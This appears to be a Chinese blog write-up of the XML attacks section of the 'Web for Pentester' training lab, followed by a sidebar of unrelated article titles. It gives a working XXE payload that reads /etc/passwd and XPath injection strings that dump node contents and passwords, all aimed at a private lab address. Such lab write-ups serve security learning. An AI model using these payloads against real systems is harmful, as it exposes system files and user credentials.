Web for pentester_writeup之XML attacks篇

XML attacks(XML攻击)

Example 1 - XML外部实体注入(XXE)

Payload
http://192.168.219.136/xml/example1.php?xml= <!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc/passwd">]><c>%26b;</c>

Example 2 - Xpath注入


输入一个单引号,报错,分析报错信息发现xpath函数,猜测是xpath注入
<1> http://192.168.219.136/xml/example2.php?name=hacker' and '1' ='1

<2> http://192.168.219.136/xml/example2.php?name=hacker' and '1' ='2

<3> http://192.168.219.136/xml/example2.php?name=hacker' or '1' ='1

<4> http://192.168.219.136/xml/example2.php?name=hacker' or '1' ='2

可知XPath的代码为 [PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

Payload
http://192.168.219.136/xml/example2.php?name=' or 1=1]/parent::*/child::node()%00

http://192.168.219.136/xml/example2.php?name=hacker' or 1=1]/parent::*/password%00

最新文章

  1. empty和isset函数详解
  2. 第二章 spring
  3. Atitit &#160;图像处理底色变红的解决
  4. elasticsearch中的API
  5. iOS 阶段学习第七天笔记(函数、递归)
  6. Walkway.js – 用线条制作简约的 SVG 动画
  7. NFS服务器搭建
  8. 第1章 C#类型基础
  9. 天气预报接口api(中国天气网)
  10. Android显示GIF图片
  11. realmock 前后端分离方案
  12. 基于微博LBS API开发的周边美图android app
  13. NGUI_Toggle
  14. 计算机编码方式详解(Unicode、UTF-8、UTF-16、ASCII)
  15. 《SpringMVC从入门到放肆》十四、SpringMVC分组数据校验
  16. [看图说话]在VMware Workstation 9中安装Mac OS X 10.8 Mountain Lion
  17. 【疑难杂症】gdb调试多线程程序报错:interrupted system call
  18. python中合并数组的方法
  19. HDU 1542 Atlantis(线段树面积并)
  20. Android(我还是个菜鸟)——UI-开源框架ImageLoader的完美例子

热门文章

  1. python 写入txt的新方法
  2. 利用双重检查锁定和CAS算法:解决并发下数据库的一致性问题
  3. el-table实现行列拖拽
  4. Spring Boot 2.X(一):入门篇
  5. Timed out after 30000 ms while waiting to connect
  6. SQL Server换版本卸载问题
  7. [AI开发]视频结构化类应用的局限性
  8. 从零起步 系统入门Python爬虫工程师 ✌✌
  9. 域渗透基础之Windows 2012创建域控制器
  10. ThinkPHP架构(一)-TP原理及路径问题及后台实现实例